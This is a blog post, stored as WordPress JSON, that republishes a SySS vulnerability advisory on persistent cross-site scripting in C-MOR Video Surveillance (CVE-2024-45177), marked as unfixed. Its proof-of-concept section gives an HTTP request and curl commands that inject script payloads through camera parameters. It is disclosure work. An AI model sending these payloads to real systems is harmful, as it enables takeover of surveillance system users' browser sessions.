{"id":59515,"date":"2024-09-06T19:40:06","date_gmt":"2024-09-06T16:40:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181376\/SYSS-2024-021.txt"},"modified":"2024-09-06T19:40:06","modified_gmt":"2024-09-06T16:40:06","slug":"c-mor-video-surveillance-5-2401-6-00pl01-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/c-mor-video-surveillance-5-2401-6-00pl01-cross-site-scripting\/","title":{"rendered":"C-MOR Video Surveillance 5.2401 \/ 6.00PL01 Cross Site Scripting"},"content":{"rendered":"<p>Advisory ID: SYSS-2024-021<br \/>Product: C-MOR Video Surveillance<br \/>Manufacturer: za-internet GmbH<br \/>Affected Version(s): 5.2401, 6.00PL01<br \/>Tested Version(s): 5.2401, 6.00PL01<br \/>Vulnerability Type: Persistent Cross-Site Scripting (CWE-79)<br \/>Risk Level: High<br \/>Solution Status: Open<br \/>Manufacturer Notification: 2024-04-05<br \/>Solution Date: &#8211;<br \/>Public Disclosure: 2024-09-04<br \/>CVE Reference: CVE-2024-45177<br \/>Authors of Advisory: Chris Beiter, Frederik Beimgraben,<br \/>and Matthias Deeg<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>The software product C-MOR is an IP video surveillance system.<\/p>\n<p>The manufacturer describes the product as follows:<\/p>\n<p>&#8220;With C-MOR video surveillance, it is possible to check your<br \/>surveillance over network and the Internet. You can access the live<br \/>view as well as previous recordings from any PC or mobile device.<br \/>C-MOR is managed and controlled over the C-MOR web interface.<br \/>IP settings, camera recording setup, user rights and so on are set<br \/>over the web without the installation of any software on the<br \/>client.&#8221;[1]\n<p>Due to improper input validation, the C-MOR web interface is vulnerable<br \/>to persistent cross-site scripting attacks.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>By analyzing the C-MOR web interface, it was found that the camera<br \/>configuration is vulnerable to a persistent cross-site scripting attack<br \/>due to insufficient user input validation.<\/p>\n<p>This kind of attack enables an attacker to persistently store attack<br \/>vectors in form of arbitrary code, for instance JavaScript code, in the<br \/>web application database, which may be executed in the context of other<br \/>users.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>An authenticated user can set the location of a camera. If valid<br \/>JavaScript code is used as location value, this code will be<br \/>persistently stored in the web application database.<\/p>\n<p>The injected JavaScript code is served to users and executed in their<br \/>web browser&#8217;s context when using different functionality of the C-MOR<br \/>web interface, for instance camera settings via &#8220;show-movies.plm&#8221; or<br \/>system administration via &#8220;systemadministration.plm&#8221;.<\/p>\n<p>The following HTTPS POST request illustrates storing an attack vector<br \/>via the parameter &#8220;location&#8221;:<\/p>\n<p>POST \/changelocation.pml HTTP\/1.1<br \/>Host: &lt;HOST&gt;<br \/>Authorization: Basic &lt;CREDENTIALS&gt;<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 81<\/p>\n<p>location=location%3Cscript%3Ealert%28%22SySS+XSS%21%22%29%3C%2Fscript%3E&amp;cam=cam1<\/p>\n<p>An excerpt of the resulting HTML source code containing the injected<br \/>JavaScript code is shown below:<\/p>\n<p>(&#8230;)<br \/>&lt;input type=submit value=&#8221;Aufzeichnung aktivieren&#8221; class=&#8221;link_button2&#8243;&gt; <br \/>location&lt;script&gt;alert(&#8220;SySS XSS!&#8221;)&lt;\/script&gt;&lt;br&gt;<br \/>(&#8230;)<\/p>\n<p>This PoC attack can be performed using the following curl command:<\/p>\n<p>curl -X POST -d &#8216;location=location&lt;script&gt;alert(&#8220;SySS <br \/>XSS!&#8221;)&lt;\/script&gt;&amp;cam=cam1&#8242; &#8211;user &#8220;&lt;USERNAME&gt;:&lt;PASSWORD&gt;&#8221; &#8211;insecure <br \/>&#8211;ciphers &#8216;DEFAULT:!DH&#8217; https:\/\/&lt;HOST&gt;\/changelocation.pml<\/p>\n<p>In version 6.00PL01, persistent cross-site scripting vulnerabilties have<br \/>not been fixed completely. For example, the following attack vector can<br \/>successfully store attacker-controlled JavaScript code in the logs:<\/p>\n<p>curl -X POST \\<br \/>-d &#8216;cam=&lt;\/textarea&gt;&lt;script&gt;alert(&#8220;Hello from <br \/>XSS&#8221;)&lt;\/script&gt;&lt;textarea&gt;&amp;days=1100&#8242; \\<br \/>&#8211;user &#8220;&lt;USERNAME&gt;:&lt;PASSWORD&gt;&#8221; \\<br \/>&#8211;insecure \\<br \/>&#8211;ciphers &#8216;DEFAULT:!DH&#8217; \\<br \/>https:\/\/&lt;HOST&gt;\/show-movies.pml<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>The described security vulnerability has not been fixed entirely in the<br \/>newly released software version 6.00PL01.<\/p>\n<p>There is no fix for this security issue.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-04-05: Vulnerability reported to manufacturer<br \/>2024-04-05: Manufacturer acknowledges receipt of security advisories<br \/>2024-04-08: Exchange regarding security updates and disclosure timeline<br \/>2024-05-08: Further exchange concerning security updates and disclosure<br \/>timeline; public release of all security advisories<br \/>scheduled for release of C-MOR Video Surveillance version 6<br \/>2024-05-10: Release of C-MOR software version 5.30 with security updates<br \/>for some reported security issues<br \/>2024-07-19: E-mail to manufacturer concerning release date of C-MOR<br \/>Video Surveillance version 6; response with planned<br \/>release date of 2024-08-01<br \/>2024-07-30: E-mail from manufacturer with further information<br \/>concerning security fixes<br \/>2024-07-31: Release of C-MOR software version 6.00PL1<br \/>2024-09-04: Public release of security advisory<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n[1] Product website for C-MOR Video Surveillance<br \/>https:\/\/www.c-mor.com\/<br \/>[2] SySS Security Advisory SYSS-2024-021<\/p>\n<p>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-021.txt<br \/>[3] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Chris Beiter, Frederik<br \/>Beimgraben.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS Web<br \/>site.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL: http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Advisory ID: SYSS-2024-021Product: C-MOR Video SurveillanceManufacturer: za-internet GmbHAffected Version(s): 5.2401, 6.00PL01Tested Version(s): 5.2401, 6.00PL01Vulnerability Type: Persistent Cross-Site Scripting (CWE-79)Risk Level: HighSolution Status: OpenManufacturer Notification: 2024-04-05Solution Date: &#8211;Public Disclosure: 2024-09-04CVE Reference: CVE-2024-45177Authors of Advisory: Chris Beiter, Frederik Beimgraben,and Matthias Deeg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The software product C-MOR is an IP video surveillance system. The manufacturer describes the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59515","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59515","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59515"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59515\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}